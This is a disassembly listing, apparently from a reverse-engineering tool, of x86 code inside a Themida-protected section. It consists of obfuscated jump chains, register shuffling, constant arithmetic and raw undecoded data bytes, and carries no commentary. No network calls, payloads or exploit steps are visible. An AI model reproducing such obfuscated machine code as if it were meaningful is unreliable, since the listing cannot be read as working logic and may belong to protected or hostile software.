		dd 3166AD66h, 36866D8h,	3C896644h, 55665024h, 0FFBC35E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54AE6D:				; CODE XREF: Themida_:005490B4j
		mov	[esp], edx
		mov	dh, 8Dh
		neg	dh
		or	dh, 9Eh
		sub	esp, 2
		mov	[esp], cx
		jmp	loc_542B27
; ---------------------------------------------------------------------------
aT_s_		db 'T_é_É',0
		align 2
		dw 0C529h
		dd 0D271E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AE92:				; CODE XREF: Themida_:005528A5j
		add	esp, 4
		shr	ebx, 6
		xor	ebx, 34FD77B2h
		sub	ebx, 0BE057B73h
		push	esi
		push	ebx
		pop	esi
		jmp	loc_5456DE
; ---------------------------------------------------------------------------


loc_54AEAF:				; CODE XREF: Themida_:00550394j
		pop	edi
		sub	edi, esi
		mov	esi, [esp]
		jmp	loc_55549F
; ---------------------------------------------------------------------------


loc_54AEBA:				; CODE XREF: Themida_:0055617Fj
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 3B72539h
		push	esi
		mov	esi, 5F044F6Fh
		sub	esi, 0F002EF43h
		add	eax, esi
		pop	esi
		shl	eax, 8
		add	eax, 0FE19B445h
		mov	ebp, eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5531B3
; ---------------------------------------------------------------------------
		db 81h,	0E6h, 33h
		dd 81736823h, 4E3C3AE6h, 4E6C171h, 0E9E38953h, 5831h
; ---------------------------------------------------------------------------


loc_54AF00:				; CODE XREF: Themida_:005557F1j
		mov	[esp], ebp
		push	edx
		jmp	loc_556A8F
; ---------------------------------------------------------------------------


loc_54AF09:				; CODE XREF: Themida_:005522E9j
		push	55AC17B4h
		pop	esi
		push	ebx
		mov	ebx, 21C84411h
		xor	esi, ebx
		pop	ebx
		jmp	loc_5507E1
; ---------------------------------------------------------------------------
		db 0BEh, 0FFh, 78h
		dd 0E3E94D30h, 1FFFFC4h, 5F43E9D3h, 3C890000h, 3C79BF24h
		dd 0E7C16931h, 7AA3E902h, 9468FFFFh, 89000040h,	0E189240Ch
		dd 4C181h, 0C1810000h, 4, 8B240C87h, 94682424h,	8900004Dh
		dd 0BCBF243Ch, 0E967C476h, 0FFFFAFC3h
; ---------------------------------------------------------------------------


loc_54AF6C:				; CODE XREF: Themida_:0054F7CFj
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_54DA91
; ---------------------------------------------------------------------------


loc_54AF80:				; CODE XREF: Themida_:00550BA7j
		mov	ebp, 4
		jmp	loc_552B9D
; ---------------------------------------------------------------------------
		dw 0C529h
		dd 8324048Bh, 0A6E904C4h, 4D00001Eh, 8102EDC1h,	68202CF5h
		dd 0ED81455Fh, 2936AA8Ah, 24348155h, 0F783640h,	7F80E95Fh
		dd 8B66FFFFh
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55245B
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 0C7706E7h, 56E8ED81h, 0FD01177Fh, 56E8C581h,	0B951177Fh
		dd 70E32112h, 0A6EBE9h,	42A6800h, 24890000h, 24048324h
		dd 0C2815A04h, 4, 0E904EA83h, 84DAh
; ---------------------------------------------------------------------------


loc_54AFFC:				; CODE XREF: Themida_:00552DC5j
		add	esp, 4
		jmp	loc_5437A1
; ---------------------------------------------------------------------------
		dd 0B8214FBFh, 81E7D164h, 70429AF7h, 0E9FD89C9h, 0FFFFB1D2h
		dd 0E9241489h, 4222h, 49524EBEh, 4CF6811Eh, 891E4952h
		dd 0C5815EF3h, 7F84040Ch, 0E957DD29h, 0FFFF8E25h, 50E8E95Ah
		dd 0EC830000h, 47A5E904h, 0D8000000h, 0D044004h, 5B665B66h
		dd 0B60FC330h, 8734FFC0h, 0FF76ABE9h, 48F54FFh,	0F452E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B06A:				; CODE XREF: Themida_:0054460Cj
		xor	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_54C046
; ---------------------------------------------------------------------------
		dd 52E9FE31h, 0F700007Ch, 96CA81D2h, 0F7041F4Ah, 0C341E9D2h
		dd 0C481FFFFh, 4, 8107EBC1h, 0D6CB9AC3h, 0E9D80122h, 0A805h
		dd 2EA5E181h, 52E9774Ch, 87FFFFC7h, 0F5E92434h,	87FFFFAFh
		dd 895C2404h, 31B9240Ch, 514C203Eh, 0FF88E2E9h,	246C29FFh
		dd 815A5D04h, 0C00309C2h, 3C8B5801h, 54A6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B0DE:				; CODE XREF: Themida_:005489D7j
		add	dl, al
		pop	eax
		jmp	loc_54D018
; ---------------------------------------------------------------------------
		dw 0DDBEh
		dd 293C7665h, 0C2815EF2h, 106A1540h, 0FFE2D0E9h, 4EF83FFh
		dd 5C243C87h, 54240C89h, 68240C8Bh, 6A5Ah, 89241489h, 86E953E2h
		dd 2D00000Fh, 3BFA27B4h, 0B405E801h, 0E93BFA27h, 0FFFFBCBEh
		dd 405h, 4BA5200h, 1000000h, 370FE9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B13A:				; CODE XREF: Themida_:00543976j
		sub	ebp, edi
		jmp	loc_5438C9
; ---------------------------------------------------------------------------


loc_54B141:				; CODE XREF: Themida_:00550572j
		pop	ebx
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54B676
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0D0B6E9DBh, 30ACFFFFh, 0C554E9D8h, 0DA210000h, 2C83525Bh
		dd 815AFF24h, 14420F2h,	80C18100h, 0E93F4E2Fh, 0FFFFB993h
		dd 0F7814F4Fh, 2A307317h, 835FF801h, 48704E8h, 2C895C24h
		dd 6D67BD24h, 0E58141DAh, 54D7602Dh, 0FFE42FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B1A5:				; CODE XREF: Themida_:0054C4C5j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_555A5E
; ---------------------------------------------------------------------------


loc_54B1AE:				; CODE XREF: Themida_:00550D8Ej
		mov	edi, [esp]
		add	esp, 4
		shl	ebp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 498707E0h
		neg	edi
		or	edi, 6FE5081h
		add	edi, 130132E9h
		not	edi
		jmp	loc_544E86
; ---------------------------------------------------------------------------
		db 0BAh, 5Eh, 5Dh
		dd 0DAF738B3h, 5DB1E9h,	4EC8100h, 89000000h, 0A1E9241Ch
		dd 51FFFF88h, 62FAB850h, 0D22D4F0Dh, 89154357h,	319158C1h
		dd 0AED2E9C8h, 32FF0000h, 0FF74F7E9h, 0B2E68FFh, 3C8B40FAh
		dd 4C48124h, 68000000h,	7747h, 0BB241C89h, 719D41B9h, 0FF84F0E9h
		dd 0EBD14BFFh, 0A3F38143h, 291DBEE0h, 0F8E95BDDh, 8000035h
		dd 0E98058C1h, 0B6525015h, 0F6D6F644h, 834AE9DEh, 0F22DFFFFh
		dd 89FDD1D2h, 0DAF758C2h, 0F281E2D1h, 2823EA6Ah, 96E9D709h
		dd 89000032h, 0C200E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B27A:				; CODE XREF: Themida_:00550010j
		and	ch, bl
		pop	ebx
		jmp	loc_5461CE
; ---------------------------------------------------------------------------
		dw 85E9h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B287:				; CODE XREF: Themida_:005449AEj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	ecx, 61B55CB4h
		add	ecx, edi
		add	ecx, 61B55CB4h
		jmp	loc_55069D
; ---------------------------------------------------------------------------


loc_54B2A9:				; CODE XREF: Themida_:005431A0j
		add	edx, edi
		pop	edi
		xor	eax, edx
		push	dword ptr [esp]
		jmp	loc_551544
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 8FFEE9h, 54EB8100h, 1691D31h, 53515BD8h
		dd 99F95ABBh, 5BD98936h, 5A1A68h, 243C8900h, 0A1D8E9h
		dd 240C8900h, 0FF7423E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B2E9:				; CODE XREF: Themida_:0054A8C9j
		inc	edi
		jmp	loc_544855
; ---------------------------------------------------------------------------


loc_54B2EF:				; CODE XREF: Themida_:0054ECECj
		xor	ebx, 64B5451Ch
		jmp	loc_548121
; ---------------------------------------------------------------------------
		dw 0E929h
		dd 0E9242C8Bh, 0FFFFA480h, 240C8B66h, 83E08950h, 0ACE904ECh
		dd 5A000096h, 5B53C581h, 0F5017340h, 5B53ED81h,	575E7340h
		dd 4349E951h, 87680000h, 8900001Bh, 74FF2414h, 0FEE90424h
		db 0A6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B33B:				; CODE XREF: Themida_:00551387j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_542FCD
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFEC6Fh
; ---------------------------------------------------------------------------


loc_54B360:				; CODE XREF: Themida_:00545B6Ej
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_551732
; ---------------------------------------------------------------------------
		dd 3504C483h, 0E11F5FF1h, 158C329h, 2A1AE9C3h, 58520000h
		dd 97E9525Ah, 8100001Ah, 0E02B1BC1h, 242C8B67h,	0C59CE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B396:				; CODE XREF: Themida_:0054E1C9j
		xchg	esi, [esp]
		mov	esp, [esp]
		xor	ecx, ebp
		xor	ebp, ecx
		xor	ecx, ebp
		not	ebp
		xor	ecx, ebp
		jmp	loc_556CCB
; ---------------------------------------------------------------------------
		db 81h
		dd 320EDAE3h, 6E3C15Dh,	235FE9h, 0FE95700h
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B3BF:				; CODE XREF: Themida_:00554783j
		sub	esi, 4
		jmp	loc_545A55
; ---------------------------------------------------------------------------


loc_54B3CA:				; CODE XREF: Themida_:0054F6FFj
		mov	ch, 80h
		jmp	loc_54F2B3
; ---------------------------------------------------------------------------
		db 88h,	0EAh, 8Bh
		dd 0F0E9240Ch, 8B000006h, 14872424h, 24248B24h,	1E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B3E9:				; CODE XREF: Themida_:0054FD37j
		sub	dword ptr [esp+8], 3D6F5A81h
		jmp	loc_54C342
; ---------------------------------------------------------------------------


loc_54B3F6:				; CODE XREF: Themida_:00545A62j
		add	esp, 2
		push	dx
		mov	dh, 47h
		add	bl, dh
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_543126
; ---------------------------------------------------------------------------


loc_54B411:				; CODE XREF: Themida_:005509CCj
		pop	edi
		jmp	loc_54E9C2
; ---------------------------------------------------------------------------
		db 55h
		dd 211641BDh, 0E9EF2119h, 8A4h,	8B24048Fh, 2C892424h, 56E58924h
		dd 1657BA52h, 0CA8135F4h, 0D586BDBh, 732EA81h, 0BBE9E1E0h
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B447:				; CODE XREF: Themida_:00553538j
		pop	esp
		jmp	loc_5469DD
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 7A5Bh
; ---------------------------------------------------------------------------


loc_54B458:				; CODE XREF: Themida_:00545AB0j
		add	dword ptr [esp+4], 6A2F4E64h
		add	[esp+4], ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6A2F4E64h
		sub	[esp+8], eax
		jmp	loc_54EF2D
; ---------------------------------------------------------------------------
		db 2Dh
		dd 0E8B7DE1h, 158C201h,	0F0EA81F2h, 81334D38h, 8775C6EAh
		dd 0F2815E4Bh, 7BB0287Ch, 0FFE4DDE9h, 352268FFh, 14890000h
		dd 2DF5E924h, 0D1F60000h, 80F0C180h, 9E97FEFh, 68000081h
		dd 70A65416h, 8124048Bh, 4C4h, 0D4E94800h, 680000A0h, 7DF3h
		dd 8455E9h, 0BE565000h,	7BCD549Eh, 295EF089h, 8B082444h
		dd 0C4832404h, 242C8B04h, 2813E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B4F1:				; CODE XREF: Themida_:0054A2AAj
		xor	eax, 1F144E0Ah
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_54CC56
; ---------------------------------------------------------------------------


loc_54B504:				; CODE XREF: Themida_:00551ED6j
		add	ebx, 0F0CD08B1h
		add	eax, ebx
		jmp	loc_554D3F
; ---------------------------------------------------------------------------
		db 31h,	0F2h, 31h
		dd 56D2F7D6h, 0FFE471E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B51D:				; CODE XREF: Themida_:005531BAj
		sub	esp, 4
		jmp	loc_556B3E
; ---------------------------------------------------------------------------
aV_VsM		db 'V_^VéÙŒ',0
		dd 243C8900h, 0FF7AD9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B539:				; CODE XREF: Themida_:0054A8F2j
		xor	edx, [esp]
		pop	esp
		xor	edx, [esp]
		jmp	loc_5560AA
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 34FF0000h, 89575B24h, 4C781E7h, 83000000h, 3C8704C7h
		dd 0AECCE924h, 0D428FFFFh, 5124148Bh, 0C181E189h, 4, 8704C183h
		dd 805C240Ch, 0DCF6DAE4h, 8042CC80h, 0E68806C4h, 8324048Bh
		dd 526604C4h, 0FFDF65E9h, 4C683FFh, 5C243487h, 74E9DFF7h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B5A3:				; CODE XREF: Themida_:0054FE1Bj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5437BB
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 4
		dd 0E9000000h, 904Fh
; ---------------------------------------------------------------------------


loc_54B5BC:				; CODE XREF: Themida_:0054B6EDj
		push	esi
		mov	esi, 670A11E2h
		or	esi, 5449599Ah
		jmp	loc_552CED
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 1C066824h, 2C890000h, 0B4D8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B5DE:				; CODE XREF: Themida_:00549696j
		pop	esp
		jmp	loc_554D37
; ---------------------------------------------------------------------------


loc_54B5E4:				; CODE XREF: Themida_:00550B92j
		pop	ebx
		dec	edi
		add	edi, 6BA21D5Fh
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_54E645
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 71AA2735h, 58C629FBh, 52FBF681h, 8146171Dh, 79F49BC6h
		dd 4EC8184h, 89000000h,	0F189240Ch, 5E59C889h, 510EC381h
		dd 0C3013CCFh, 510EEB81h, 17E93CCFh
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B633:				; CODE XREF: Themida_:005528AFj
		or	eax, 283B7E3Eh
		not	eax
		xor	eax, 87008044h
		add	esi, eax
		pop	eax
		jmp	loc_544A7A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 14C58104h, 0E9248E00h, 0B2A9h, 0A12253BAh
		dd 59CA0167h, 0CCFEBE56h, 8BE98A52h, 8F000028h,	248B2404h
		dd 56BCE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B676:				; CODE XREF: Themida_:0054B152j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	1FB2h
		mov	[esp], ebx
		jmp	loc_556426
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 2BEh, 0D256E900h, 0D2F7FFFFh, 0FFC3A7E9h, 51AFBEFFh
		dd 0B2684CA8h, 89000002h, 23B82404h, 1423C62h, 0F68158C6h
		dd 0AD55ACAh, 771EE81h,	0EE812AAAh, 6E35BB0h, 1A03BF57h
		dd 94E96916h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B6D3:				; CODE XREF: Themida_:0055224Bj
		mov	edi, [esp]
		add	esp, 4
		add	edx, eax
		sub	edx, 6A8A585Eh
		sub	edx, 3E122E9Ch
		push	ebx
		mov	ebx, 52215572h
		jmp	loc_54B5BC
; ---------------------------------------------------------------------------


loc_54B6F2:				; CODE XREF: Themida_:005570F4j
		pop	eax
		add	ebx, 0F5D991E4h
		push	ebx
		pop	esi
		mov	ebx, [esp]
		jmp	loc_54FB59
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 5BC66800h, 55E90000h, 5A00009Dh, 2474FF57h, 48F5F04h
		dd 0EC76E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B722:				; CODE XREF: Themida_:0054C3A6j
		pop	ecx
		sub	esp, 4
		jmp	loc_553111
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4C4h, 4C48300h, 0FFAE40E9h, 240487FFh, 243C895Ch, 1C13E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B749:				; CODE XREF: Themida_:00553E45j
		mov	eax, 75127CA5h
		jmp	loc_548046
; ---------------------------------------------------------------------------
		db 1
aXSxz		db 'ÆX]éåz',0
		align 4
		dd 4C6835Dh, 36D1E9h, 20E66800h, 1FE917BCh, 89000066h
		dd 34FF2404h, 2434FF24h, 0E789575Bh, 4C781h, 0C7810000h
		dd 4, 31243C33h, 3C33243Ch, 24248B24h, 4EC81h, 1C890000h
		dd 81E38924h, 4C3h, 42196800h, 7FE90000h, 0FFFFFF7h, 9C68C8BFh
		dd 0E900001Dh, 0FFFFFB25h
; ---------------------------------------------------------------------------


loc_54B7BC:				; CODE XREF: Themida_:005516C3j
		add	ebp, edi
		jmp	loc_551A16
; ---------------------------------------------------------------------------


loc_54B7C3:				; CODE XREF: Themida_:0054DA94j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ebp
		mov	ebp, 1FAE0DD1h
		inc	ebp
		shl	ebp, 8
		not	ebp
		jmp	loc_555106
; ---------------------------------------------------------------------------


loc_54B7DF:				; CODE XREF: Themida_:0054FAF5j
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_553E63
; ---------------------------------------------------------------------------
		dw 7DB7h
		dd 0F9284EB1h, 0F1B4505Bh, 0F624E480h, 37A2E9D4h, 0E9520000h
		dd 0B04Fh
; ---------------------------------------------------------------------------


loc_54B804:				; CODE XREF: Themida_:00550CB2j
		xor	edi, ebp
		jmp	loc_54E4F7
; ---------------------------------------------------------------------------
		db 1
		dd 240C8BCAh, 9C38E9h, 2434FF00h, 4C48358h, 32F9C181h
		dd 0F18158B8h, 77F87632h, 0FFCFA3E9h, 48F5AFFh,	89535C24h
		dd 4B850E3h, 81000000h,	0F77D7CC3h, 50C3013Dh, 0FFB30DE9h
		dd 4C483FFh, 0FFFC7AE9h, 24148BFFh, 8304C483h, 0EC8302C6h
		dd 24348904h, 42474FFh,	8324348Bh, 48F04C4h, 24248B24h
		dd 68F9F766h, 2B70h, 89240489h,	405E0h,	42D0000h, 50000000h
		dd 1F19E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B88D:				; CODE XREF: Themida_:0055188Fj
		add	al, cl
		mov	ecx, [esp]
		add	esp, 4
		add	bl, al
		pop	eax
		jmp	loc_54F59C
; ---------------------------------------------------------------------------


loc_54B89D:				; CODE XREF: Themida_:00551291j
		mov	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	58C0h
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_54A030
; ---------------------------------------------------------------------------
		dw 0E7C1h
		dd 0D3C78107h, 0E97BFA71h, 0FFFFE74Fh, 0E95EF031h, 0FFFFE69Dh
		dd 0E6895659h, 4C681h, 0C6830000h, 24348704h, 0E951555Ch
		dd 8DBAh, 31240433h, 9CE92404h,	8BFFFFD7h, 0C4832434h
		dd 0E930FF04h, 0FFFF6E14h, 0E9FFC380h, 4BABh
; ---------------------------------------------------------------------------


loc_54B900:				; CODE XREF: Themida_:0054C2B3j
		sub	ebp, 0EC4F5B6Bh
		push	ebx
		mov	ebx, 39FB5FD9h
		add	edx, ebx
		pop	ebx
		add	edx, 2D667654h
		add	edx, ebp
		sub	edx, 2D667654h
		jmp	loc_551E26
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 461232F3h, 148BD301h, 4C48324h, 4EC81h, 1C890000h, 24348124h
		dd 53FF58CEh, 5BC0E9h, 2434FF00h, 0E92434FFh, 0FFFFAC3Ch
		dd 4BB535Bh, 1000000h, 0C335BD9h, 240C3124h, 5C240C33h
		dd 76A668h, 24048900h, 11C7E9h,	0EC81AD00h, 4, 0BB241C89h
		dd 341736BDh, 305EC381h, 0F3814C5Bh, 751D1149h,	70FCB850h
		dd 0C30948FCh, 0FF8F12E9h, 0B9E952FFh
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B99F:				; CODE XREF: Themida_:00552BBEj
		mov	edi, [esp]
		add	esp, 4
		push	0AB3h
		mov	[esp], eax
		mov	eax, 0C481DC8h
		shl	eax, 8
		xor	eax, 19CF40D1h
		jmp	loc_551DD2
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 4575DE9h, 48E9DF01h,	900007Eh, 0CBE95EF5h, 31000092h
		dd 1C33241Ch, 241C3124h, 4C5CE9h, 4C48100h, 56000000h
		dd 0E97A93BEh, 8BF5012Ah, 0C4832434h, 90C58104h, 817E6426h
		dd 9D6E86C5h, 81C5013Eh, 9D6E86EDh, 90ED813Eh, 817E6426h
		dd 0E97A93EDh, 0BE9582Ah, 81000061h, 71496AC7h,	2434FF1Ch
		dd 0FFB8C9E9h, 815954FFh, 4C1h,	4C18300h, 31240C33h, 0C33240Ch
		dd 262C5C24h, 2604E828h, 0FFC499E9h, 4EC83FFh, 68242C89h
		dd 38B5658Eh, 81242C8Bh, 4C4h, 0C1DDF700h, 555204E5h, 663B51BDh
		dd 0B205BA40h, 44E9A3B1h, 5A0000AFh, 0A353C281h, 0D589C519h
		dd 19EF815Ah, 121875Eh,	19C781EFh, 5D21875Eh, 2474FF57h
		dd 8290E904h, 0DD88FFFFh, 122C5A5Bh, 0FFF0F6E9h, 81E289FFh
		dd 4C2h, 4EC8300h, 0FF6E96E9h, 2CDBBFFh, 0EBC17228h, 3EEB8102h
		dd 9D5A283h, 7FE95BDEh,	81000083h, 4C4h, 241C8B00h, 4C481h
		dd 4CE90000h, 0BE000088h, 69C93534h, 7C30E681h,	0EE815C1Dh
		dd 4DB27895h, 59E1E681h, 0DE876FB9h, 0E0E9D3F7h, 50FFFFA1h
		dd 837EFDB8h, 40D0F728h, 0E907E0C1h, 0FFFF8F9Ch, 0A84837BEh
		dd 1C7CE90Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54BB1A:				; CODE XREF: Themida_:00556B43j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	16Eh
		mov	[esp], esi
		push	4572h
		mov	[esp], edx
		mov	edx, 58993865h
		push	ebp
		mov	ebp, edx
		jmp	loc_54A521
; ---------------------------------------------------------------------------
		db 0B9h, 35h, 80h
		dd 0CF018010h, 8CE98159h, 1735C37h, 0E7EDE9F9h,	1C89FFFFh
		dd 7711BB24h, 0EBC148D6h, 8EBC105h, 68h, 241C2900h, 54F3815Bh
		dd 81441A6Bh, 0D9A483EBh, 5BD98988h, 34FFCD21h,	0C4815924h
		dd 4, 8102EDC1h, 430961F5h, 0E9E9010Ch,	0FFFFBB58h, 88E78853h
		dd 88585BF9h, 5C8A59CEh, 74880224h, 5A660224h, 0FFE9C8E9h
		dd 58C221FFh, 6EB9EA81h, 18E9C495h, 89000025h, 26E92404h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54BBCF:				; CODE XREF: Themida_:00545AC2j
		mov	[esp], esi
		mov	esi, 33E055CCh
		push	eax
		mov	eax, 473713A5h
		add	eax, 229167F2h
		or	esi, eax
		jmp	loc_552916
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 8924248Bh, 0FDE92404h, 5AFFFFC7h, 1BE9D1F6h,	1FFFFA1h
		dd 21ED81F5h, 5E00271Ch, 25BEE581h, 685135B1h, 72AEh, 0E9243489h
		dd 51F7h, 7CEBED81h, 45450078h,	0E5C1DDF7h, 0DED8106h
		dd 0E967DC74h, 0FFFF8D94h, 7EB4BE56h, 0DEF76DDFh, 14C4E94Eh
		dd 4890000h, 9BF6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54BC4A:				; CODE XREF: Themida_:0054CC3Cj
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_545CF3
; ---------------------------------------------------------------------------
		db 31h
		dd 0F6B5E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BC5E:				; CODE XREF: Themida_:00542D04j
		push	ebx
		mov	ebx, esp
		jmp	loc_550FAD
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 241C3124h, 8B241C33h, 66642424h, 91E90289h, 51FFFF6Ah
		dd 0FFBA09E9h, 6726B8FFh, 0C5095110h, 0FFF9BAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BC8D:				; CODE XREF: Themida_:00544C5Fj
		pop	eax
		and	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_547BDE
; ---------------------------------------------------------------------------
		dd 0A82CD828h, 0E389535Bh, 4C381h, 0EB810000h, 4, 0FF8045E9h
		dd 0E95F58FFh, 0FFFFEA04h, 96F4E95Dh, 0EC81FFFFh, 4, 0E9243C89h
		dd 0FFFFDE15h
; ---------------------------------------------------------------------------


loc_54BCDC:				; CODE XREF: Themida_:0054F4F5j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_557275
; ---------------------------------------------------------------------------


loc_54BCEA:				; CODE XREF: Themida_:005457BAj
		mov	[esp], esp
		jmp	loc_557323
; ---------------------------------------------------------------------------
		dw 8142h
		dd 0CE2F2DCAh, 3BEA8112h, 8128AC66h, 0BD7712C2h, 8BD001F5h
		dd 89532414h, 4C381E3h,	57000000h, 0B37F35BFh, 8DE7814Bh
		dd 8150A658h, 5DA7FFC7h, 5FFB01BFh, 5C241C87h, 168D68h
		dd 240C8900h, 4424E8B9h, 1E98145h, 411F726Ah, 66F1E181h
		dd 0D9F73FDAh, 0DA43F181h, 0E950BEB5h, 0B099h, 4C38159h
		dd 87000000h, 248B241Ch, 69A6E924h, 8B66FFFFh, 0E956240Ch
		dd 478Dh, 59CB285Bh, 0C0B60F58h, 24148B66h, 575068h, 993EE900h
		dd 89510000h, 4C181E1h,	68000000h, 11E3h, 0BA241489h, 4
		dd 148BD129h, 4C48124h,	87000000h, 248B240Ch, 3CB0E924h
		dd 78B80000h, 0E9715F3Eh, 87D3h
; ---------------------------------------------------------------------------


loc_54BDBC:				; CODE XREF: Themida_:00550777j
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5531BF
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 46F3h, 0B9FFE958h, 0DE9FFFFh
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BDFF:				; CODE XREF: Themida_:00557B26j
		mov	[esp], ecx
		mov	ecx, 0E849F603h
		jmp	loc_54FFB8
; ---------------------------------------------------------------------------
		dd 0E95BDD29h, 4119h
; ---------------------------------------------------------------------------


loc_54BE14:				; CODE XREF: Themida_:0054F8FDj
		sub	edi, 6C0B1BFEh
		jmp	loc_5521E5
; ---------------------------------------------------------------------------


loc_54BE1F:				; CODE XREF: Themida_:00544159j
		push	ebx
		push	4
		pop	ebx
		jmp	loc_545138
; ---------------------------------------------------------------------------
		db 1
		dd 13E959CBh
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54BE33:				; CODE XREF: Themida_:0054E21Bj
		add	edi, esi
		sub	edi, 46AD5DE9h
		pop	esi
		push	eax
		push	610Eh
		jmp	loc_557A98
; ---------------------------------------------------------------------------


loc_54BE47:				; CODE XREF: Themida_:00552F9Dj
		xchg	ebx, [esp]
		jmp	loc_551C0B
; ---------------------------------------------------------------------------
aYsie		db 'Y鉅',0
		db 0
; ---------------------------------------------------------------------------


loc_54BE55:				; CODE XREF: Themida_:00543D58j
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_54CB60
; ---------------------------------------------------------------------------


loc_54BE6D:				; CODE XREF: Themida_:00542720j
		sub	ebp, 0FFFFFFFFh
		shl	ebp, 1
		shr	ebp, 3
		push	edx
		mov	edx, 41A42A8Eh
		jmp	loc_543F09
; ---------------------------------------------------------------------------
		dd 0EB81EB01h, 78580FB8h, 83242C8Bh, 0EC8304C4h, 0A723E904h
		dd 8C25FFFFh, 407BE519h, 41192D35h, 58C38968h, 1DA0C681h
		dd 0DE010B33h, 374C68h,	243C8900h, 331DA0BFh, 7B75E90Bh
		dd 0C100FFFFh, 80D10058h, 148BB8E9h, 4C48124h, 53000000h
		dd 0E3C0C8B3h, 32B45003h, 0EC80C4FEh, 58E330D9h, 1C8BD900h
